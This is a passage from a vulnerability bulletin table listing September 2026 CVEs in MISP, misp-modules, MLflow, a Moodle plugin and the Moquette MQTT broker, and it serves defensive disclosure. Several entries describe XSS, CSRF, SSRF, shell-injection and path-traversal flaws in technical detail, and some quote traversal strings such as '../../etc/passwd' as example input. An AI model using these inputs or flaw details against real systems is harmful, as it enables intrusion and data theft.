&lt;td&gt;MISP has a security issue that could let an attacker change threat-intelligence data through a logged-in user&#039;s browser without that user knowingly approving the change. The affected function did not properly enforce MISP&#039;s usual protection against forged requests. Because of this, an attacker could create a malicious webpage that silently sends a request to MISP when visited by an authenticated user. If successful, the attacker could change details of an attribute, such as its value, type, category, comment, distribution settings, or related timestamps. The attack requires the victim to already be logged in to MISP and to visit an attacker-controlled page. The main impact is unauthorized modification of threat-intelligence data, which could lead to incorrect indicators, wrong classifications, or altered sharing settings and reduce confidence in the accuracy of the information stored in MISP. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94404&quot; target=&quot;_blank&quot;&gt;CVE-2026-94404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP&#039;s WorkflowsController exposed the moduleStatelessExecution action in the Security component&#039;s unlockedActions list. In CakePHP, listing an action in unlockedActions disables both the CSRF token check and the field hash validation for that action. Because moduleStatelessExecution executes a workflow module&#039;s exec() method with caller-supplied input and parameters, the absence of CSRF protection allowed an attacker to craft a cross-site form post (or equivalent cross-origin request) that, when submitted by an authenticated site administrator, would cause the administrator&#039;s browser to invoke the action on the MISP instance.&amp;nbsp; The attacker could select any workflow module to execute, including action modules that write blocklist and warninglist entries, and supply arbitrary input and parameters of their choosing. This constitutes a cross-site request forgery (CSRF) vulnerability with high integrity impact on the MISP instance&#039;s security-related data.&amp;nbsp; The vulnerability was identified during an internal security review and was not externally reported. The fix is included in MISP v2.5.47.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95658&quot; target=&quot;_blank&quot;&gt;CVE-2026-95658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains a reflected cross-site scripting (XSS) vulnerability in the AnalystDataController::viewForObject action. The method accepted a parent object type parameter from the URL without validation and passed it to the Overmind-themed AnalystData thread view element, where it was interpolated into two translated strings and rendered into the HTML response without output encoding. An authenticated attacker who can induce a victim to navigate to a crafted URL can inject arbitrary JavaScript that executes in the victim&#039;s browser within the MISP application context. This may allow the attacker to read session data, manipulate the page, or perform actions on behalf of the victim.&amp;nbsp; The vulnerability requires the victim to be authenticated to MISP and to actively visit the attacker-supplied URL. The affected component is the AnalystData controller and the Overmind theme&#039;s AnalystData thread element. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95659&quot; target=&quot;_blank&quot;&gt;CVE-2026-95659&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains a reflected cross-site scripting (XSS) vulnerability in the attribute histogram view. The $selectedTypes variable, which is derived from the URL path segment , was interpolated directly into a JavaScript array literal inside an onClick HTML attribute without any encoding or escaping. An attacker who can cause an authenticated MISP user to visit a crafted URL containing a malicious type value can execute arbitrary JavaScript in the victim&#039;s browser within the MISP application origin. Successful exploitation allows the attacker to read session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data accessible from the MISP interface.&amp;nbsp; The vulnerability requires the victim to be authenticated and to actively navigate to the attacker-supplied URL.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95661&quot; target=&quot;_blank&quot;&gt;CVE-2026-95661&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains a reflected cross-site scripting (XSS) vulnerability in the event REST search export confirmation form. The view template app/View/Events/ajax/eventRestSearchExportConfirmationForm.ctp renders a URL-supplied event ID list into a single-quoted JavaScript string literal using PHP&#039;s json_encode() without any hex-encoding flags. By default, json_encode() escapes double quotes and backslashes but does not escape single quotes. Because the JavaScript string is delimited by single quotes, an attacker can inject a single-quote character to terminate the string literal and execute arbitrary JavaScript in the victim&#039;s browser session. The vulnerability affects the Default and UiBeta themes, both of which render this view. The Overmind theme&#039;s own copy of the form already passed the value through an escaped data attribute and was not affected by this specific sink. Preconditions: the victim must be an authenticated MISP user and must actively open or navigate to the attacker-crafted URL. The attacker does not require an account or any prior access to the MISP instance. Security impact: successful exploitation allows execution of arbitrary JavaScript in the context of the MISP web application, potentially leading to session hijacking, unauthorized actions performed on behalf of the victim, exfiltration of sensitive data visible in the session, or further client-side attacks. The vulnerable component&#039;s own confidentiality, integrity, and availability are not directly compromised; the impact is on the underlying user session.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95665&quot; target=&quot;_blank&quot;&gt;CVE-2026-95665&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;The MISP installer scripts (for Debian 12, Debian 13, Ubuntu 24.04, and RHEL 9.4) create a log file at /var/log/misp_install.log and a named pipe (FIFO) at /var/log/misp_install.log.pipe to capture all installer output. The log captures highly sensitive data including the generated admin password, database passwords, GPG passphrase, and supervisor password. However, the log file was created by the tee command under the system default umask, resulting in world-readable permissions (typically 0644). Similarly, the FIFO was created with mkfifo without an explicit mode, also inheriting the default umask and remaining world-readable during the window before it was unlinked.&amp;nbsp; Any local unprivileged user on the system could read the log file or the FIFO to obtain these credentials.&amp;nbsp; Additionally, the log file was not removed before creation, meaning a pre-existing symlink in /var/log could have been used to redirect the write to an arbitrary location. Version affected: &amp;lt;2.5.47&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95667&quot; target=&quot;_blank&quot;&gt;CVE-2026-95667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;In MISP, the CollectionsController add() method enforced the sharing-group usability authorization check and element capture only when the HTTP request method was POST. However, the underlying CRUDComponent::add() method persists data on both POST and PUT requests. As a result, an authenticated user could issue a PUT request to the collections/add endpoint, bypassing the sharing-group authorization check entirely. This allowed the creation of a collection with distribution=4 (shared with a specific sharing group) targeting a sharing group that the user was not authorized to use. The bypassed check would normally verify that the current user has access to the specified sharing group before allowing the collection to be associated with it. The security impact is that an authenticated user can place collection data into a sharing group context they do not have legitimate access to, potentially exposing that data to all members of the unauthorized sharing group and violating the intended access-control boundaries of the MISP instance. The vulnerability requires an authenticated session and knowledge of a valid sharing group identifier; no user interaction or special tooling is needed beyond sending a PUT request instead of a POST request to the same endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95671&quot; target=&quot;_blank&quot;&gt;CVE-2026-95671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;In MISP, the queryEnrichment method in EventsController.php accepted a module name parameter and iterated over the list of enabled modules to find a match. If the specified module was not present in the enabled modules list, the code silently continued processing using default parameters (format set to &#039;simplified&#039; and no module-specific configuration applied) rather than rejecting the request. This allowed an authenticated user to trigger enrichment or analysis processing through a module that was not explicitly enabled or available on the instance, bypassing the intended module availability controls. The lack of validation meant that module names outside the enabled set were not rejected, potentially exposing functionality or data processing paths that the administrator had not authorized for use.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95674&quot; target=&quot;_blank&quot;&gt;CVE-2026-95674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP&#039;s RequestHandlerComponent automatically decodes XML request bodies on all write requests. The underlying Xml::build() library contains a logic error in its readFile guard condition (readFile &amp;amp;&amp;amp; http || https), where PHP operator precedence causes the https branch to bypass the readFile check entirely. As a result, a request body containing a bare HTTPS URL is treated as a locator and fetched by the server. Because the cspReport endpoint accepts XML content type and is unauthenticated by design, an unauthenticated remote attacker can send a POST request with a crafted XML body to cause the MISP server to issue an outbound HTTPS request to an arbitrary target reachable from the server. The attacker does not receive the response body, but can use the vulnerability to probe internal services, trigger actions on internal HTTPS endpoints, or perform timing-based reconnaissance of the server&#039;s network environment.&amp;nbsp; The vulnerability affects any MISP deployment where the cspReport endpoint is reachable and the server has network access to internal or external HTTPS services.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95679&quot; target=&quot;_blank&quot;&gt;CVE-2026-95679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains a stored cross-site scripting (XSS) vulnerability in the admin email composition screen. The MISP.org organization name setting was interpolated directly into a JavaScript string literal using an unescaped PHP echo: var org = &quot;&amp;lt;?php echo $org;?&amp;gt;&quot;;. Because the value was placed inside a double-quoted JavaScript string without any encoding, an organization name containing a double-quote character (or a backslash) could terminate the string literal and inject arbitrary JavaScript into the page. The injected script would execute in the context of any authenticated user who subsequently loads the admin email page, potentially allowing session hijacking, data exfiltration, or privileged actions performed on behalf of the victim. Exploitation requires the ability to set or modify the MISP.org organization name and a second authenticated user visiting the affected admin email view. The vulnerability is a classic instance of insufficient output encoding in a JavaScript context.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95682&quot; target=&quot;_blank&quot;&gt;CVE-2026-95682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;In MISP, the Overmind event view enriches an event with its most recent attached report for preview purposes. The enrichment logic fetched the report using only the event ID as the lookup condition, without applying the report&#039;s own distribution/ACL constraints. Because MISP reports carry an independent distribution setting that can be more restrictive than the parent event&#039;s distribution, an authenticated user who had read access to the event could retrieve and view a report whose distribution explicitly excluded that user. Additionally, the query did not filter out soft-deleted reports, allowing retrieval of reports that had been administratively removed. The result is an unauthorized disclosure of threat-intelligence report content to users who should not have access under the report&#039;s own access-control policy. The vulnerability requires an authenticated MISP user with at least read access to the affected event.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95683&quot; target=&quot;_blank&quot;&gt;CVE-2026-95683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains an access control flaw in the EventReports functionality. The replaceSuggestionInReport action, which allows modification of suggestion content within an event report, was incorrectly mapped to the wildcard permission (&#039;*&#039;) in the ACLComponent, making it accessible to any authenticated user regardless of their assigned permissions. All analogous report-modification actions correctly required the perm_add permission, while read-only actions such as downloadAsPDF appropriately used the wildcard.&amp;nbsp; An authenticated user without the perm_add permission could invoke the replaceSuggestionInReport endpoint to alter report suggestion data, violating the intended authorization model.&amp;nbsp; This constitutes an improper authorization weakness that could lead to unauthorized modification of event report content, potentially corrupting shared threat intelligence data or injecting misleading information into reports relied upon by other analysts and automated consumers.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95685&quot; target=&quot;_blank&quot;&gt;CVE-2026-95685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;In MISP, the EventReport::uploadPicture method in processed a caller-supplied tmp_name field by invoking file_exists(), mime_content_type(), and exif_imagetype() on the supplied path before verifying that the value was a genuine PHP upload via is_uploaded_file(). An authenticated user holding the perm_add permission could supply an arbitrary filesystem path as the tmp_name value. The application would then probe that path and return distinct validation error messages depending on whether the file existed, its MIME type, or its image format. By observing the differing error responses, an attacker could enumerate the existence of files at arbitrary paths on the MISP server and determine their type.&amp;nbsp; This constitutes an information disclosure vulnerability: the server&#039;s filesystem layout and file types are leaked to any user with the perm_add role without requiring administrative access.&amp;nbsp; The vulnerability does not allow reading file contents, writing files, or executing code, but it can aid further attacks by revealing sensitive file locations (e.g., configuration files, private keys, or other artifacts) present on the host.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95693&quot; target=&quot;_blank&quot;&gt;CVE-2026-95693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP contains an authorization flaw in the Organisation model&#039;s captureOrg method. When the $force parameter is set to true, the method unconditionally overwrites organization metadata fields without verifying that the invoking user holds sufficient privileges. A user with a sharing group (SG) editor role can trigger this code path, allowing them to modify organization metadata that should be restricted to site administrators or users with sync permissions. According to the commit message, this could lead to blueprint-based sharing group manipulation, meaning an attacker with SG editor access could alter organizational attributes in ways that influence how sharing groups and blueprints behave across the MISP instance.&amp;nbsp; The vulnerability requires an authenticated user with at least SG editor privileges and network access to the MISP web interface. The impact is primarily on the integrity of organization records and, potentially, on the integrity of sharing group configurations derived from those records.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95697&quot; target=&quot;_blank&quot;&gt;CVE-2026-95697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;The findOrgImage method in MISP&#039;s OrgImgHelper constructs a filesystem path by concatenating a user-supplied organization identifier with a fixed image directory and a file extension, then calls file_exists() on the resulting path. The organization name field is attacker-controllable through event import, which sets Org.name. Because no validation was performed on the field value before path construction, an organization name containing directory traversal sequences (e.g., ../../etc/passwd) would cause the path to resolve outside the intended org-image directory.&amp;nbsp; This yields two security impacts:&amp;nbsp; &amp;nbsp;an arbitrary file existence oracle, since file_exists() returns a boolean for any path the process can access. &amp;nbsp;an arbitrary file read limited to files with .png or .svg extensions, because the resolved filename is returned and subsequently rendered or served to the requesting user. The vulnerability requires an authenticated user with the ability to create or import events that set the organization name.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95698&quot; target=&quot;_blank&quot;&gt;CVE-2026-95698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;In MISP, the __statisticsOrgs method in UsersController.php used the organization name directly as a file-system path component when checking for the existence of an organization logo image. The original code called file_exists() with a path constructed as APP . &#039;webroot&#039; . DS . &#039;img&#039; . DS . &#039;orgs&#039; . DS . $k . &#039;.png&#039;, where $k is the organization name. Because the referenced directory (app/webroot/img/orgs) no longer exists in current MISP deployments (org logos were relocated to files/img/orgs), the check was functionally dead and never triggered. However, the underlying pattern-concatenating an attacker-influenced organization name into a file path without sanitization-constitutes a path traversal weakness. An organization name containing directory traversal sequences (e.g., &#039;../../../../etc/passwd&#039;) would, if the target directory existed, allow an authenticated user with the ability to create or rename an organization to probe for the existence of arbitrary files on the server.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95701&quot; target=&quot;_blank&quot;&gt;CVE-2026-95701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;In MISP, the OrganisationsController::__uploadLogo method processed a caller-supplied tmp_name value with filesystem probes (file_exists, MIME type detection, EXIF reading) before verifying that the value corresponded to a genuine PHP file upload via is_uploaded_file. An authenticated site-admin user could supply an arbitrary server file path as the tmp_name parameter. The application would then probe that path and return distinct validation error messages depending on whether the file existed and what its image type was, effectively creating a file-existence and image-type oracle against the server filesystem. The vulnerability requires site-admin privileges and does not allow arbitrary file read, code execution, or modification; the impact is limited to disclosure of whether a given path exists on the server and, for image files, their type.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95703&quot; target=&quot;_blank&quot;&gt;CVE-2026-95703&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;In MISP&#039;s UsersController login() method, the pre-authentication database query used for the TOTP (two-factor authentication) verification branch did not include the User.disabled column in its SELECT fields list. The query selected only User.password, User.totp, and User.hotp_counter. When the TOTP branch subsequently accessed $unauth_user[&#039;User&#039;][&#039;disabled&#039;], the key was absent from the result set, producing a PHP &#039;Undefined array key&#039; warning and causing the expression to evaluate as null (falsy). As a result, the disabled-user guard in the TOTP branch was effectively a no-op: a disabled, TOTP-enrolled user could proceed to the TOTP verification step rather than being rejected at that point.&amp;nbsp; The commit message explicitly states this was &#039;harmless in practice&#039; because the subsequent identify() call re-validates the user and would still reject a disabled account.&amp;nbsp; The practical security impact is therefore minimal, limited to a very small information-disclosure difference in the login response (a TOTP prompt is presented instead of an immediate rejection) and a PHP warning in application logs.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95754&quot; target=&quot;_blank&quot;&gt;CVE-2026-95754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;A typo in the MISP ACLComponent access control configuration caused the ACL rule for the previewEventAttributes action to reference the permission string &#039;theming_enabled*&#039; (with a trailing asterisk) instead of the correct &#039;theming_enabled&#039;. In the MISP ACL system, the array values define which role or permission grants access to a given controller action. The adjacent entry previewEventObjects correctly uses [&#039;theming_enabled&#039;], confirming the intended restriction. The malformed key &#039;theming_enabled*&#039; does not match any valid permission identifier, causing the access control check for previewEventAttributes to malfunction. Depending on the ACL evaluation logic, this could result in either unauthorized users gaining access to the previewEventAttributes endpoint (authorization bypass) or legitimate users being denied access (availability impact).&amp;nbsp; The previewEventAttributes endpoint exposes event attribute data within MISP so an authorization bypass could expose sensitive indicator and attribute data to users who should not have access.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95805&quot; target=&quot;_blank&quot;&gt;CVE-2026-95805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MISP--MISP&lt;/td&gt;
&lt;td&gt;MISP ships with PHP&#039;s phar stream wrapper registered in both its web entry point and its console entry point.&amp;nbsp; The phar stream wrapper causes PHP to treat a phar archive as a directory, which has two security consequences:&amp;nbsp;any filesystem operation on a caller-influenced path that resolves to a phar archive triggers an implicit unserialize() call, creating a deserialization sink;&amp;nbsp;a relocated application root can reach executable code inside an uploaded phar file, enabling arbitrary code execution as the web user. No component of MISP, the vendored CakePHP framework, or any runtime-loaded library reads or constructs phar archives. The wrapper therefore serves no legitimate purpose in the MISP runtime and exists solely as an available primitive for an attacker who can influence a filesystem path argument.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95806&quot; target=&quot;_blank&quot;&gt;CVE-2026-95806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;misp--misp-modules&lt;/td&gt;
&lt;td&gt;The cisco_firesight_manager_ACL_rule_export module in misp-modules generates a shell script (.sh) that authenticates to and calls the Cisco fireSIGHT Manager API. The module interpolates configuration values (IP address, login, password, domain ID, policy ID) and MISP attribute values (destination IPs, URLs, event info comments) directly into single-quoted shell string assignments without any escaping or sanitization. Because the values are placed inside single-quoted shell strings, any value containing a single-quote character (e.g., a crafted ip-dst or url attribute value submitted to MISP) breaks out of the quoting context, allowing an attacker to inject arbitrary shell commands into the exported script. A security analyst who subsequently executes the generated .sh file unmodified would run the injected commands with their own privileges, potentially exposing fireSIGHT Manager credentials, modifying ACL rules, or compromising the analyst workstation. Additionally, the module contained a secondary defect where the variable &#039;config&#039; was only assigned inside a conditional block but referenced unconditionally afterward, causing a NameError (denial of service) when the request payload lacked a &#039;config&#039; key. The vulnerability requires the attacker to have the ability to submit MISP events or attributes containing a single-quote character and the victim to execute the exported script. No authentication bypass is required beyond standard MISP event-submission privileges.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97863&quot; target=&quot;_blank&quot;&gt;CVE-2026-97863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MLflow--MLflow&lt;/td&gt;
&lt;td&gt;MLflow&#039;s dspy flavor, versions &amp;gt;= 2.0, applies the MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False security control only when the model_path ends in .pkl, which allows a remote attacker to execute arbitrary code via a crafted MLmodel artifact.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96775&quot; target=&quot;_blank&quot;&gt;CVE-2026-96775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MLflow--MLflow&lt;/td&gt;
&lt;td&gt;MLflow&#039;s statsmodel flavor, versions 2.1.0 to 3.14.0, omits the MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False security control entirely in _load_model(), which allows a remote attacker to execute arbitrary code via a crafted MLmodel artifact.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96804&quot; target=&quot;_blank&quot;&gt;CVE-2026-96804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moodle --Socialwall plugin v.3.0&lt;/td&gt;
&lt;td&gt;SQL injection vulnerability in Moodle Socialwall plugin v.3.0 through v.3.3 allows an attacker to execute arbitrary code via crafted HTTP requests&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-63564&quot; target=&quot;_blank&quot;&gt;CVE-2025-63564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, SessionEventLoop.run catches only InterruptedException, and SessionEventLoopGroup does not restart a terminated loop. An MQTT command that raises an uncaught exception can terminate an event loop shared by multiple client sessions, preventing every co-located client from processing PUBLISH, SUBSCRIBE, PUBACK, and other commands. An attacker can select client IDs that map across the available loops to disrupt session processing for the entire broker. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95842&quot; target=&quot;_blank&quot;&gt;CVE-2026-95842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, PostOffice.subscribe parses a shared-subscription filter through SharedSubscriptionUtils.extractShareName before validating the complete $share/{shareName}/{topicFilter} structure. A remote client can send a filter such as $share/grp without a topic-filter portion, causing a StringIndexOutOfBoundsException while calculating the share name. The exception terminates command handling on the shared session event loop and can deny service to other client sessions assigned to that loop. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95843&quot; target=&quot;_blank&quot;&gt;CVE-2026-95843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, Moquette does not limit the depth of topic names and topic filters before processing them through recursive CTrie insertion and matching operations. A remote client can publish or subscribe with a deeply nested topic, causing a StackOverflowError that disrupts session processing and can deny service to broker clients. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95844&quot; target=&quot;_blank&quot;&gt;CVE-2026-95844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, the broker does not enforce a maximum length for pending per-session message queues. When a fast publisher sends messages to a slow subscriber whose in-flight window is full, queued messages can accumulate without bound in memory or persistent storage. Remote clients can use this condition to exhaust broker resources and cause a denial of service. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95845&quot; target=&quot;_blank&quot;&gt;CVE-2026-95845&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, PostOffice.publishWill publishes a client&#039;s Last-Will message without applying the canWrite authorization and reserved-topic checks used for a normal PUBLISH. A client can configure a Will for a topic that the client is not permitted to write and cause the broker to publish the unauthorized message when the client disconnects unexpectedly. This issue allows unauthorized message injection into restricted topics. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95846&quot; target=&quot;_blank&quot;&gt;CVE-2026-95846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
